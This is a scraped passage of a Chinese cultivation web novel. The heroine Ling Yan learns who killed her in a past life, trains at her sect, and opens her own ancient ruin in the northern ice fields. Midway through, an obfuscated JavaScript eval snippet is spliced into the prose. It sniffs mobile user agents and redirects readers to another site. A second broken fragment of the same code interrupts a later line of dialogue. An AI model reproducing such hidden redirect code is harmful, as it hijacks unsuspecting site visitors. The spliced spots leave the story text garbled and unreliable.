沈万山继续说: “也就是——你师叔。” 凌砚站在原地。 一动不动。 脑子里嗡嗡的。 师叔? 她师父是墨渊。 上古龙族之主。 她师叔—— “他叫什么?” 沈万山摇头。 “不知道。只知道他当年跟你师父反目,然后——” 他看着凌砚。 “然后亲手杀了你。” 凌砚沉默了。 很久。 然后笑了。 笑得有点冷。 “我师父的弟弟,杀了我。” 她点点头。 “行。真行。” 她转身往外走。 白跟上去。 沈万山喊住她。 “凌砚。” 凌砚停步。 沈万山说: “他现在在仙界。” 凌砚没回头。 “我知道。” 她继续走。 “迟早会去的。” --- 山门外。 凌砚站在台阶上,看着远方。 白站在她旁边。 过了很久。 凌砚开口: “白。” “嗯?” “你认识那个人吗?” 白沉默了一会儿。 然后说: “见过。” 凌砚转头看他。 “见过?” 白点头。 “三万年前,他站在远处,看着你死。” 凌砚看着他。 “你没告诉我。” 白也看着她。 “你问了吗?” 凌砚愣了一下。 然后笑了。 “没问。” 她转回头,继续看远方。 “那现在呢?” 白说: “他在仙界。等着你。” 凌砚点头。 “那就让他等着。” 她往下走。 “反正我也等了三万年。” “再等几年,无所谓。” 白跟上去。 两道身影渐渐走远。 身后,青云宗的山门越来越小。 但凌砚知道,这只是开始。 那个穿白衣服的人—— 她师叔。 迟早会见的。 --- 三天后。 无妄宗。 凌砚躺在院子里晒太阳。 白坐在旁边,端着碗。 碗里是红烧肉。 温寻走过来,看着他们。 “小师妹。” “嗯?” “你打算什么时候去仙界?” 凌砚想了想。 “等我打得过掌门的时候。” 温寻愣了一下。 然后笑了。 “那你有的等了。” 凌砚挑眉。 “怎么,掌门很强?” 温寻点头。 “很强。” “有多强?” 温寻想了想。 然后指了指白。 “他能打过白吗?” 温寻摇头。 “打不过。” 凌砚愣了一下。 “那谁能打过?” 温寻指了指里面。 “长老。” 凌砚沉默。 温寻继续说: “而且长老说过——掌门很久没动手了。上次动手,还是三万年前。” 凌砚看着掌门房间的方向。 那个天天晒太阳的懒人。 三万年前,是上古天庭之主。 她师父。 她忽然有点想笑。 这宗门,真他妈怪。 全是怪物。 但—— 是她的怪物。 她躺回去,继续晒太阳。 “那就慢慢来。” 白在旁边,继续吃肉。 阳光洒下来,暖洋洋的。 无妄宗的一天,又开始了。 10. 仙界来人 凌砚在无妄宗躺了半个月。 每天晒太阳,吃饭,睡觉,偶尔听温寻汇报外面的消息。 日子过得像条咸鱼。 但她喜欢。 反正三万年前杀够了,现在歇歇怎么了? 第十五天早上。 温寻冲进来。 “小师妹!小师妹!” 凌砚睁开一只眼。 “又他妈谁死了?” 温寻摇头。 “没死。但比死了还麻烦。” 凌砚坐起来。 “说。” 温寻表情古怪。 “仙界来人了。” 凌砚愣了一下。 “仙界?” “对。”温寻点头,“来了三个,说是要见你。” 凌砚沉默了两秒。 然后问: “什么修为?” “看不透。”温寻说,“但肯定是仙人级别。” 凌砚想了想。 “掌门呢?” “还在睡。” “长老呢?” “在浇花。” 凌砚站起来。 “走,去看看。” --- 山门外站着三个人。 两男一女。 都穿着白衣,气质超然,一看就不是修真界的人。 领头的男人看起来四十来岁,面容威严,眼神锐利。 他看到凌砚出来,眼睛眯了眯。 “你就是凌砚?” 凌砚点头。 “是我。” 那男人上下打量她。 “筑基?” 凌砚点头。 “对,筑基。” 那男人皱眉。 “怎么会这么弱?” 凌砚笑了。 “因为我才修炼几个月。” 那男人愣了一下。 几个月?筑基? 他转头看旁边那个女人。 女人点点头,传音说了什么。 男人的表情变了。 他看着凌砚,眼神复杂。 “三万年前的万法归宗体,转世重修,几个月到筑基——确实不慢。” 凌砚挑眉。 “你知道我?” 男人点头。 “整个仙界都知道你回来了。” 凌砚没说话。 男人继续说: “我叫林天,仙界执法堂的人。这两位是我同僚。” 他看着凌砚。 “我们来,是请你跟我们走一趟。” 凌砚看着他。 “去哪?” “仙界。” “干嘛?” 林天沉默了两秒。 然后说: “有人要见你。” 凌砚笑了。 “谁?那个穿白衣服的?” 林天脸色一变。 “你知道?” 凌砚点头。 “知道一点。” 林天看着她。 “那你更应该跟我们走。” 凌砚摇头。 “不去。” 林天皱眉。 “为什么?” 凌砚指了指自己。 “我,筑基。去仙界,送死?” 林天沉默。 凌砚继续说: “而且你们说是请,带这么多人——这叫请?” 林天身后那个年轻男人忍不住开口: “你别不识抬举——” 凌砚看了他一眼。 就一眼。 那年轻男人忽然说不出话。 他愣了一下,想开口,还是说不出。 他脸色变了。 凌砚笑了。 “你刚才说什么?我没听清。” 年轻男人张了张嘴。 发不出声。 林天皱眉。 “你对他做了什么?” 凌砚摊手。 “不知道啊。可能他嗓子不好?” 林天盯着她。 凌砚也看着他。 两人对视了几秒。 林天忽然笑了。 “有意思。” 他一挥手,那年轻男人终于能说话了。 “你、你——” 凌砚看着他。 “我什么?” 年轻男人咬牙。 但不敢再说了。 林天看着凌砚。 “你真的不去?” 凌砚点头。 “不去。” “那如果我说——你必须去呢?” 凌砚挑眉。 “那就动手。” 林天笑了。 “你一个筑基,跟我动手?” 凌砚也笑了。 “我一个筑基,三万年前杀了三万人。” 林天笑容僵住。 凌砚看着他。 “你要试试吗?” 林天沉默。 旁边那个女人忽然开口: “林师兄,算了。” 林天转头看她。 女人说: “她说的对。现在带她去仙界,确实不合适。” 她看着凌砚。 “但有人让我带句话给你。” 凌砚挑眉。 “说。” 女人说: “那个人说——他在仙界等你。你什么时候去,他什么时候见你。但如果你一直不去——” 她顿了顿。 “他会来找你。” 凌砚眼神一冷。 “让他来。” 女人点头。 “话带到了。我们走。” 林天皱眉。 “就这么走了?” 女人看着他。 “不然呢?动手?” 林天沉默了。 他看了凌砚一眼。 然后转身。 三个人腾空而起,消失在云层里。 凌砚站在原地,看着他们消失的方向。 温寻走过来。 “小师妹,就这么放他们走?” 凌砚没回答。 她低头看自己的手。 手心里,有一点金色的光。 正在慢慢消散。 那是刚才看那年轻男人的时候,从体内涌出来的东西。 不是灵力。 是别的。 比灵力更强。 她忽然想起掌门说的那句话: “那个东西,在你体内。” 她握紧手。 光消失了。 她抬起头。 “三师兄。” “嗯?” “帮我查一下,仙界执法堂,是什么地方。” 温寻点头。 “已经在查了。” 凌砚转身往回走。 “查到了告诉我。” --- 三天后。 温寻把一沓资料放在凌砚面前。 “仙界执法堂,是仙界最强的势力之一。专门管仙界秩序,抓人、审人、杀人——都归他们管。” 凌砚翻着资料。 “领头的是谁?” 温寻摇头。 “不知道。只知道叫‘堂主’,从没人见过真面目。” 凌砚皱眉。 “那天的三个人,什么来头?” 温寻指着资料。 “林天,执法堂执事,金仙后期。那个女人,叫林霜,也是执事,金仙中期。那个年轻男人,叫林动,金仙初期。” 凌砚挑眉。 “都姓林?” “对。”温寻点头,“执法堂的人,都改姓林。进了执法堂,就抛弃过去。” 凌砚沉默。 温寻看着她。 “小师妹,那个要见你的人——你觉得是谁?” 凌砚想了想。 “不知道。但肯定是那个白衣服派来的。” 她想起沈万山说的话。 她师叔。 掌门的弟弟。 亲手杀了她的人。 现在在仙界,等着她。 等着她去送死? 还是等着—— 她忽然笑了。 “有意思。” 温寻看着她。 “小师妹,你笑什么?” 凌砚摇头。 “没什么。就是觉得——” 她顿了顿。 “这破事,越来越有意思了。” --- 当天晚上。 凌砚去找墨渊。 墨渊躺在石头上,眯着眼睛。 凌砚走过去,在他旁边坐下。 “掌门。” “嗯?” “那个执法堂,你知道吗?” 墨渊没睁眼。 “知道。” “是什么地方?” 墨渊沉默了两秒。 然后说: “当年天庭的执法堂。” 凌砚愣住了。 墨渊继续说: “天庭崩塌之后,执法堂的人叛变,投靠了仙界。改了个名字,继续干老本行。” 他睁开眼看着凌砚。 “今天来的那三个人,是来探路的。” 凌砚皱眉。 “探路?” “对。”墨渊点头,“他们想知道,你现在什么实力,身边有什么人,能不能动。” 他看着凌砚。 “结果发现——动不了。” 凌砚愣了一下。 “为什么?” 墨渊笑了。 “因为你那个看门的。” 凌砚想起白。 “白?” “对。”墨渊说,“那三个人走的时候,白看了他们一眼。就一眼,那三个人差点从天上掉下来。” 凌砚沉默。 她不知道这事。 墨渊看着她。 “你知道白是什么修为吗?” 凌砚摇头。 “大乘初期?” 墨渊笑了。 “大乘初期?” 他坐起来。 “那是他压着的。他真实修为——” 他顿了顿。 “真仙后期。” 凌砚愣住了。 真仙? 比金仙还高? 白是真仙? 墨渊看着她愣住的样子,笑了。 “你以为他等了三万年,就等出个大乘?” 他躺回去。 “他等了三万年,是为了等到能保护你的时候。” 凌砚沉默。 很久。 然后问: “那他为什么不说?” 墨渊闭着眼睛。 “因为没必要。” 凌砚看着他。 墨渊继续说: “他要的只是跟着你。什么修为,无所谓。” 凌砚站起来。 往饭堂走。 白的座位在饭堂门口。 他端着碗,正在吃肉。 凌砚走过去,在他旁边蹲下。 “白。” 白转头看她。 “嗯?” 凌砚看着他。 “你是真仙?” 白愣了一下。 然后点头。 “对。” 凌砚沉默了两秒。 然后说: “你他妈怎么不早说?” 白想了想。 “你也没问。” 凌砚深吸一口气。 然后笑了。 “行。我的错。” 她站起来。 “以后我问。” 白点头。 继续吃肉。 凌砚看着他。 忽然问: “你真仙后期,为什么不去仙界?” 白想了想。 “不想去。” “为什么?” 白看着她。 “你不在。” 凌砚愣住了。 白继续吃肉。 凌砚站在原地,看着他一勺一勺往嘴里送。 过了很久。 她转身往里走。 “明天让四师姐多做点肉。” --- 第二天。 饭堂里的红烧肉,从两盘变成了四盘。 白的碗,永远满着。 温寻看着,忍不住问: “小师妹,你这是养猪呢?” 凌砚头也不回。 “养怎么了?” 温寻笑了。 “没怎么,就是觉得——” 他顿了顿。 “这猪挺贵的。” 白看了他一眼。 温寻立刻闭嘴。 凌砚笑了。 “三师兄,你怕他?” 温寻嘴硬。 “不怕。” “那你闭嘴干嘛?” 温寻想了想。 “嘴累了。” 凌砚没拆穿他。 继续晒太阳。 --- 下午的时候。 又来人了。 这次不是仙界。 是沈万山。 青云宗宗主,大乘巅峰。 一个人来的。 站在山门外,规规矩矩等着。 温寻去通报。 凌砚走到山门口,看着他。 “你怎么来了?” 沈万山看着她。 “来还债。” 凌砚挑眉。 “上次说了,不用还。” 沈万山摇头。 “上次是上次。这次不一样。” 凌砚看着他。 “怎么不一样?” 沈万山从怀里取出一样东西。 是一块玉简。 “这是当年战场上捡到的。” 他看着凌砚。 “应该是你的。” 凌砚接过玉简。 玉简很旧,上面刻着复杂的纹路。 她注入灵气。 玉简亮了。 一道声音在脑海中响起: “徒弟,如果有一天你看到这个,说明我不在了。” “别哭。” “哭什么哭,又不是死了。” “我活得好好的。” “只是去了一个地方。” “那个地方很远,暂时回不来。” “但你放心。” “老子迟早会回来的。” “回来之前,你好好活着。” “谁欺负你,记下来。” “等老子回来,一个个算账。” 声音消失了。 凌砚站在原地,一动不动。 那是—— 师父的声音。 不是现在的墨渊。 是三万年前的墨渊。 年轻,嚣张,一口一个老子。 凌砚握着玉简。 手有点抖。 沈万山看着她。 “是你师父的?” 凌砚点头。 沈万山沉默了一会儿。 然后说: “他在哪?” 凌砚摇头。 “不知道。” 她看着玉简。 “但他说——会回来的。” 沈万山点点头。 “那就等。” 他看着凌砚。 “我欠你的,还不清。但这条命,随时可以给你。” 凌砚抬头看他。 沈万山笑了笑。 “三万年前你救我,三万年后我帮你。公平。” 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323570|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚看着他。 “你知道那个人在仙界等我?” 沈万山点头。 “知道。” “你还敢来?” 沈万山笑了。 “我一个糟老头子,怕什么?” 他看着凌砚。 “而且——” 他顿了顿。 “你师父会回来的。” 凌砚沉默。 沈万山转身。 “走了。有事让人传讯。” 他腾空而起,消失在天边。 凌砚站在原地,看着那个方向。 很久。 然后低头看手里的玉简。 玉简还是温的。 她把它收起来,贴身放着。 转身往回走。 走到饭堂门口,白看着她。 “谁?” 凌砚说: “一个欠我命的。” 白点头。 继续吃肉。 凌砚在他旁边坐下。 “白。” “嗯?” “我师父,你认识吗?” 白想了想。 “见过。” “什么样?” 白看着她。 “跟你一样。” 凌砚愣了一下。 “什么跟我一样?” 白说: “疯。” 凌砚笑了。 “还有呢?” 白想了想。 “护短。” 凌砚点头。 “还有呢?” 白看着她。 “等你。” 凌砚愣住了。 白继续说: “他走的时候,说过一句话。” 凌砚看着他。 “什么话?” 白说: “我徒弟会回来的。到时候告诉她——老子在那边等她。” 凌砚沉默。 很久。 然后笑了。 笑得眼眶有点红。 “行。” 她站起来。 “那我就等。” 白看着她。 “等多久?” 凌砚想了想。 “他等了我三万年,我等他一辈子,怎么了?” 白愣了一下。 然后笑了。 笑得很轻。 “像他。” 凌砚往里走。 走到门口,忽然回头。 “白。” “嗯?” “你当年,也是他救的?” 白点头。 凌砚看着他。 “那你等的是他,还是我?” 白想了想。 “你。” 凌砚挑眉。 “为什么?” 白看着她。 “因为他救我的时候说——替他徒弟看着点。” 凌砚愣住了。 白继续说: “他说,我徒弟以后会回来。你帮我看着她,别让人欺负了。” 他看着凌砚。 “我等了三万年,等的就是你。” 凌砚站在原地。 一动不动。 脑子里嗡嗡的。 师父走的时候,让人替她看着点。 看着点。 看了三万年。 她忽然想骂人。 但张了张嘴,没骂出来。 最后只说了一句: “操。” 然后转身进去了。 白看着她的背影。 继续吃肉。 但嘴角翘着。 --- 那天晚上。 凌砚躺在床上,盯着天花板。 手里握着那块玉简。 师父的声音还在脑子里转。 “老子迟早会回来的。” 她笑了。 笑着笑着,眼眶又红了。 “行。” 她轻声说。 “我等着。” 窗外,月亮很圆。 月光照进来,落在她脸上。 她闭上眼睛。 睡着了。 手里还握着那块玉简。 --- 第二天早上。 凌砚被一阵喧哗吵醒。 推门出去,看到温寻站在院子里,脸色古怪。 “又怎么了?” 温寻看着她。 “小师妹,外面来了好多人。” 凌砚皱眉。 “什么人?” 温寻说: “各个宗门的。青云宗、凌霄阁、丹霞门,还有散修联盟、妖族联盟——全来了。” 凌砚愣住。 “来干嘛?” 温寻表情更古怪了。 “说是——来投靠。” 凌砚以为自己听错了。 “什么?” 温寻重复了一遍: “来投靠。” 凌砚沉默了两秒。 然后骂了一句: “操。” 她往外走。 走到山门口,愣住了。 外面黑压压一片人。 起码上千。 站在最前面的是沈万山。 他看到凌砚出来,笑了。 “小丫头,我给你带了点人。” 凌砚看着他。 “你他妈搞什么?” 沈万山说: “那天回去之后,我想了想。” 他看着凌砚。 “你一个人,要对付仙界,太难。” “所以——” 他指了指身后。 “这些人都愿意帮你。” 凌砚看着那黑压压的人群。 有认识的,有不认识的。 有正道的,有魔道的,有妖族的。 有修为高的,有修为低的。 但都站在那儿。 看着她。 凌砚沉默。 很久。 然后问: “为什么?” 沈万山笑了。 “因为你三万年前做的事。” 他顿了顿。 “那天战场上的三万人,不全是要杀你的。” 他看着凌砚。 “有一半,是去救你的。” 凌砚愣住了。 沈万山继续说: “他们没救成。但他们的后代,还记得。” 他指了指身后。 “这些人,都是那些人的后代。” 凌砚看着那黑压压的人群。 忽然不知道该说什么。 沈万山看着她。 “小丫头,你不是一个人。” 凌砚站在原地。 很久。 然后笑了。 笑得有点涩。 “行。” 她往前走了一步。 看着那些人。 “我记住了。” 那些人看着她。 忽然有人喊了一句: “小祖宗!” 然后所有人跟着喊: “小祖宗!” “小祖宗!” “小祖宗!” 声音震天。 凌砚愣住。 然后笑了。 笑出声那种。 “操。” 她转身往里走。 “都进来吧,别他妈在外面喊了。” 一千多人,涌进无妄宗。 温寻在后面喊: “排队!排队!别踩我花!” 白坐在饭堂门口,端着碗。 看着这乌泱泱的人群。 愣了一下。 然后低头继续吃肉。 管他多少人。 反正他的肉,没人敢动。 11. 谁说不修炼? 凌砚坐在院子里,看着面前堆成小山的修炼资源。 丹药、灵石、功法玉简、法器——全是刚才那帮人送的。 她随手拿起一块玉简,注入灵气。 《万法归宗体修炼指南·入门篇》。 她看完,放下。 又拿起一本。 《筑基期到元婴期:三年速成攻略》。 再看。 《论科学修仙的可行性》。 她看完第三本,终于忍不住笑了。 “这帮人,是怕我太废?” 温寻在旁边摇扇子。 “不是怕你废,是怕你死。” 凌砚挑眉。 “死不了。” “为什么?” 凌砚指了指饭堂门口。 白端着碗,正往这边看。 温寻沉默了。 然后说: “行,你赢了。” 凌砚站起来。 “走吧。” 温寻愣了一下。 “去哪?” 凌砚看着他。 “修炼。” 温寻以为自己听错了。 “你?修炼?” 凌砚点头。 “对,我。” 温寻看着她。 “你之前不是天天晒太阳吗?” 凌砚笑了。 “那是之前。” 她往修炼室走。 “现在有一千多人等着我带着他们去干架,我晒什么太阳?” --- 修炼室里。 凌砚盘腿坐下,闭上眼睛。 脑子里回放着刚才看的那些功法。 《万法归宗体修炼指南》里说,这种体质的修炼方式和正常人不一样。 正常人需要吸收灵气,运转周天,一点点积累。 她不需要。 她只需要—— “吃。” 凌砚睁开眼。 看着面前那堆丹药。 她拿起一颗,塞进嘴里。 丹药入口即化,一股暖流涌入体内。 她闭上眼睛,感受那股暖流在经脉里流动。 流动着流动着—— 没了。 凌砚睁开眼。 又拿起一颗。 塞进去。 暖流又来。 然后又没了。 她一口气吃了十颗。 全没了。 她看着那堆丹药。 沉默了两秒。 然后骂了一句: “操,这是无底洞?” --- 外面。 温寻蹲在门口,等着。 旁边站着谢无妄。 “她进去多久了?” 温寻看了看天。 “一个时辰。” 谢无妄皱眉。 “怎么没动静?” 温寻想了想。 “可能……在睡觉?” 谢无妄瞪了他一眼。 温寻连忙闭嘴。 又过了一会儿。 修炼室的门开了。 凌砚走出来。 脸色不太好看。 温寻凑过去。 “小师妹,怎么样?” 凌砚看着他。 “三师兄。” “嗯?” “你知道我这体质怎么修炼吗?” 温寻摇头。 凌砚说: “吃。” 温寻愣了一下。 “吃?” 凌砚点头。 “吃丹药,吃灵石,吃天材地宝——什么都吃。” 她指了指修炼室里面。 “我刚才吃了二十颗丹药,五块上品灵石,还有一根千年人参——修为涨了一点点。” 温寻看着她。 “涨了多少?” 凌砚想了想。 “大概……从筑基初期,到筑基初期偏上一点点。” 温寻沉默了。 谢无妄也沉默了。 凌砚看着他们。 “你们不说话是什么意思?” 温寻艰难地开口: “小师妹,你吃的那些东西,够一个普通人从筑基到金丹了。” 凌砚点头。 “我知道。” 温寻又说: “结果你就涨了一点点?” 凌砚点头。 “对。” 温寻深吸一口气。 然后问: “那你接下来打算怎么办?” 凌砚想了想。 然后笑了。 “吃穷他们。” --- 接下来的三天。 凌砚什么都没干。 就吃。 早上起来,吃丹药。 中午,吃灵果。 晚上,吃沈清和做的药膳。 睡前,再吃一堆灵石。 吃完就修炼,修炼完接着吃。 三天后。 她突破了。 筑基中期。 温寻看着那堆空了的瓶瓶罐罐,脸都绿了。 “小师妹,你知道你这三天吃了多少吗?” 凌砚摇头。 温寻说: “够养三个元婴期修士吃一年。” 凌砚挑眉。 “这么多?” 温寻点头。 凌砚想了想。 然后问: “宗门还有钱吗?” 温寻看着她。 “有。” “那就行。” 温寻深吸一口气。 “小师妹,这不是有没有钱的问题。是你这个吃法——太他妈吓人了。” 凌砚笑了。 “吓人就吓人。反正——” 她顿了顿。 “我又不是正常人。” --- 第四天。 凌砚正在修炼室继续吃。 门忽然被推开。 谢无妄走进来。 凌砚抬头看她。 “大师姐?” 谢无妄走到她面前,坐下。 “我教你。” 凌砚愣了一下。 “教我什么?” 谢无妄看着她。 “打架。” 凌砚眨了眨眼。 “我不是在修炼吗?” 谢无妄摇头。 “修炼和打架是两回事。” 她站起来。 “跟我来。” --- 演武场。 谢无妄站在场中,手里握着剑。 凌砚站在对面,空着手。 旁边围了一圈人。 温寻、苏折、沈清和,还有白。 谢无妄看着凌砚。 “你学什么?” 凌砚想了想。 “能打死人的那种。” 谢无妄嘴角微微一动。 “那就从基础开始。” 她拔剑。 剑光一闪,凌砚还没反应过来,剑尖已经停在她面前。 “看到了吗?” 凌砚点头。 “看到了。” “能躲开吗?” 凌砚想了想。 “不能。” 谢无妄收剑。 “那就练。” 她从最基础的开始教。 怎么站,怎么走,怎么看对手,怎么出招。 凌砚学得很快。 快得谢无妄都愣了一下。 “你学过?” 凌砚摇头。 “没有。” “那怎么这么快?” 凌砚想了想。 “可能因为——我吃了太多?” 谢无妄沉默了。 温寻在旁边插嘴: “大师姐,小师妹这体质,好像是吃越多学越快。” 谢无妄看了他一眼。 温寻闭嘴。 谢无妄转回头,看着凌砚。 “再来。” --- 两个时辰后。 凌砚躺在地上,大口喘气。 浑身是汗。 旁边,谢无妄站着,气息平稳。 “今天就到这儿。” 凌砚看着她。 “大师姐,你不累?” 谢无妄摇头。 凌砚竖起大拇指。 “牛逼。” 谢无妄嘴角动了动。 然后转身走了。 温寻走过来,递给她一块帕子。 “小师妹,感觉怎么样?” 凌砚接过帕子,擦了擦脸。 “爽。” 温寻笑了。 “那就行。” 他蹲下来,看着她。 “小师妹,你知道吗,你进来之前,大师姐跟我说了一句话。” 凌砚挑眉。 “什么话?” 温寻说: “她说——这孩子,能打。” 凌砚愣了一下。 然后笑了。 “大师姐夸人,真他妈含蓄。” --- 晚上。 凌砚躺在床上,浑身疼。 但心里爽。 她看着天花板,想着白天的事。 谢无妄教的那些东西,她一遍就会。 不是聪明。 是身体记得。 三万年前,她肯定也是个能打的。 现在只是——回忆起来。 她翻了个身。 忽然想起什么。 “白。” 窗外传来声音。 “在。” “明天开始,你也教我。” 沉默了两秒。 “好。” 凌砚闭上眼睛。 笑了。 --- 第二天。 演武场上多了个人。 白站在场边,端着碗。 凌砚看着他。 “你就这么教?” 白点头。 凌砚挑眉。 “不动手?” 白摇头。 凌砚看着他。 “那我学什么?” 白说: “先看我。” 凌砚愣住。 白放下碗。 然后—— 动了。 就一瞬间。 凌砚没看清他怎么动的,人已经到她面前。 手抬起来,轻轻点在她额头上。 “死了。” 凌砚愣住。 白退回去,端起碗。 继续吃。 凌砚站在原地。 脑子里嗡嗡的。 刚才那一下,她完全没反应。 别说躲,连看都没看清。 温寻在旁边摇扇子。 “小师妹,真仙教的,和你之前学的,不一样。” 凌砚点头。 “看出来了。” 她看着白。 “再来。” 白看着她。 “你确定?” 凌砚点头。 “确定。” 白放下碗。 又动了。 这次凌砚看清了一点。 但还是一样。 额头被点了一下。 “死了。” 凌砚咬牙。 “再来。” 第三次。 第四次。 第五次。 第十八次。 凌砚终于—— 躲开了半寸。 白的手指从她额头擦过。 凌砚愣住。 然后笑了。 “看到了。” 白看着她。 眼里有一点笑意。 “再来。” --- 一个时辰后。 凌砚躺在地上,浑身散架。 但嘴角翘着。 白站在旁边,端着碗。 “今天到这儿。” 凌砚看着他。 “明天继续。” 白点头。 转身走了。 温寻凑过来。 “小师妹,你疯了吧?真仙教你,你居然真敢学?” 凌砚笑了。 “不学等死?” 温寻想了想。 “有道理。” 他扶她起来。 “走吧,四师姐做了好吃的。” 凌砚站起来。 浑身疼。 但心里爽。 她忽然想起什么。 “对了三师兄,二师兄呢?” 温寻说: “在炼器室。” “干嘛?” “给你做新装备。” 凌砚愣了一下。 “什么装备?” 温寻笑了。 “能扛真仙一击的那种。” 凌砚沉默了两秒。 然后说:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“外面那帮人,说要跟你一起去冒险。” 凌砚愣住。 “什么冒险?” 温寻指了指北边。 “北域冰原那边,发现了一个遗迹。据说是三万年前的,和你有关。” 凌砚放下筷子。 “和我有关?” 温寻点头。 “对。消息已经传开了,很多人都在往那边赶。” 凌砚想了想。 “那帮人想跟我一起去?” 温寻点头。 “对。说是——” 他顿了顿。 “要保护你。” 凌砚沉默了。 然后笑了。 “保护我?” 她站起来。 “告诉他们,三天后出发。” 温寻看着她。 “带多少人?” 凌砚想了想。 “就咱们几个。” 温寻愣住。 “那帮人怎么办?” 凌砚笑了。 “让他们在后面跟着。” 她往外走。 “我冒险,他们看着。” 温寻看着她的背影。 然后转头看谢无妄。 “大师姐,小师妹这是——” 谢无妄站起来。 “去练剑。” 走了。 温寻又看苏折。 苏折低头吃饭。 “别问我。” 温寻又看沈清和。 沈清和笑了。 “小师妹说什么就是什么。” 温寻最后看白。 白还在吃肉。 温寻叹了口气。 “行吧。” 他站起来。 “我去传话。” --- 三天后。 无妄宗门口。 五个人站成一排。 凌砚、谢无妄、苏折、温寻、沈清和。 白站在旁边,端着碗。 远处,黑压压一片人。 全是来“保护”凌砚的。 温寻看着那些人,叹了口气。 “小师妹,真的不带他们?” 凌砚点头。 “不带。” “为什么?” 凌砚笑了。 “因为——” 她顿了顿。 “咱们五个,够了。” 她转身。 “走。” 五个人腾空而起。 白跟在后面,碗收起来了。 远处,那帮人愣了一下。 然后也跟上去。 温寻回头看了一眼。 “小师妹,他们还是跟来了。” 凌砚头也不回。 “让他们跟。” “万一有危险——” 凌砚笑了。 “有危险,他们正好帮忙。” 温寻想了想。 “有道理。” 他转回头。 继续飞。 前面,北域冰原越来越近。 风越来越大。 雪越来越多。 凌砚看着那片白色的世界。 忽然想起三万年前的事。 那次,她也是一个人去冰原。 现在—— 她回头看了一眼。 身后,谢无妄冷着脸,苏折打着哈欠,温寻摇着扇子,沈清和温柔地笑着。 白跟在最后,手里又端起了碗。 远处,乌泱泱一群人跟着。 凌砚笑了。 转回头。 “走吧。” 五个人消失在风雪里。 --- 12. 冰原遗迹 第十二章冰原遗迹 北域冰原。 风雪大得能把人刮跑。 凌砚裹着大氅,踩在齐膝深的雪里,一步一个坑。 “这他妈什么鬼天气。” 温寻在旁边缩着脖子。 “北域就这样,一年四季下雪。” 凌砚看着前面白茫茫一片。 “遗迹在哪?” 温寻掏出地图,看了半天。 “按说……就在这附近。” 凌砚看着他。 “按说?” 温寻干笑。 “地图是三千年前的,可能有点误差。” 凌砚沉默了两秒。 然后转头看苏折。 “二师兄,你那圆球呢?” 苏折从怀里掏出那个圆球。 圆球飘起来,转了几圈,指向一个方向。 凌砚顺着看过去。 什么也没有。 只有雪。 苏折说: “就在前面。” 五人继续往前走。 走了半个时辰。 还是雪。 温寻忍不住了。 “二师兄,你那玩意儿准不准?” 苏折看了他一眼。 “不准你走前面?” 温寻闭嘴了。 又走了一刻钟。 凌砚忽然停下。 “等等。” 所有人看着她。 凌砚蹲下来,扒开雪。 雪下面是一块石头。 石头上有纹路。 很淡,但确实是人工刻的。 苏折凑过来看了一眼。 “上古阵法。” 凌砚站起来。 “到了。” 她往前看。 前面还是雪。 但她感觉到—— 有什么东西在那里。 不是眼睛看到的。 是体内的东西。 那滴金色的血在发热。 谢无妄走过来。 “我来。” 她拔剑,一剑斩出。 剑光没入雪地。 然后—— 轰。 雪炸开了。 下面是一座巨大的石门。 门高三丈,宽两丈,通体漆黑,上面刻满纹路。 凌砚看着那扇门。 忽然觉得有点眼熟。 温寻凑过来。 “小师妹,你来过?” 凌砚摇头。 “不记得。” 但她确实觉得眼熟。 那种熟悉感—— 像是做梦梦到过。 白忽然开口: “这是你的。” 凌砚转头看他。 “什么?” 白指着石门。 “你的遗迹。” 凌砚愣住。 “我的?” 白点头。 “三万年前,你建的。” 凌砚看着那扇门。 忽然不知道该说什么。 温寻在旁边小声说: “小师妹,你三万年前就给自己建坟了?” 凌砚瞪了他一眼。 温寻连忙闭嘴。 凌砚走到石门前。 伸手,按在门上。 门上的纹路忽然亮了。 金色的光。 和那滴血一样的颜色。 然后门开了。 --- 门后不是通道。 是一座大殿。 大殿很大,大到看不到边。 顶上悬着无数夜明珠,照得整个大殿亮如白昼。 大殿中央,立着一座雕像。 雕像是一个女人。 穿着战甲,握着剑,看着前方。 脸—— 和凌砚一模一样。 凌砚站在雕像前,仰着头。 看了很久。 温寻小声说: “小师妹,你三万年前挺帅啊。” 凌砚没理他。 她盯着那座雕像的眼睛。 总觉得它在看她。 苏折忽然说: “有东西。” 他手里的圆球在发光。 很亮。 凌砚低头看。 圆球指着雕像脚下。 那里有一个盒子。 盒子不大,通体漆黑,和石门的材质一样。 凌砚走过去。 蹲下。 伸手。 碰到盒子的瞬间,脑子里忽然涌入一大堆东西—— 画面,声音,记忆。 她看到自己三万年前,亲手把这个盒子放进这里。 看到自己说: “以后要是死了,就留给转世的我。” 看到自己想了想,又补了一句: “要是没死成,就当没这回事。” 然后画面消失了。 凌砚睁开眼。 低头看手里的盒子。 盒子已经开了。 里面是一块玉简。 还有一滴血。 金色的血。 和她体内那滴一模一样。 凌砚拿起玉简。 注入灵气。 熟悉的声音响起——她自己的声音。 “能听到这个,说明我死了。” “操,真他妈烦。” “算了,死就死吧。” “这东西留给你——也就是现在的我。” “里面有我当年修炼的心得,还有我藏起来的一些东西。” “位置都在里面,你自己去找。” “对了,小心那个穿白衣服的。” “那是我师叔,也是杀我的人。” “他不是好人。” “虽然长得还行。” “但真不是好人。” “行了,就这样。” “好好活着。” “别给我丢人。” 声音消失。 凌砚握着玉简,站在原地。 很久没动。 谢无妄走过来。 “没事吧?” 凌砚抬头看她。 “没事。” 她把玉简收起来。 “就是有点想骂人。” 温凑过来。 “骂谁?” 凌砚想了想。 “骂三万年前的自己。” 温寻愣了一下。 “为什么?” 凌砚笑了。 “因为她话真多。” 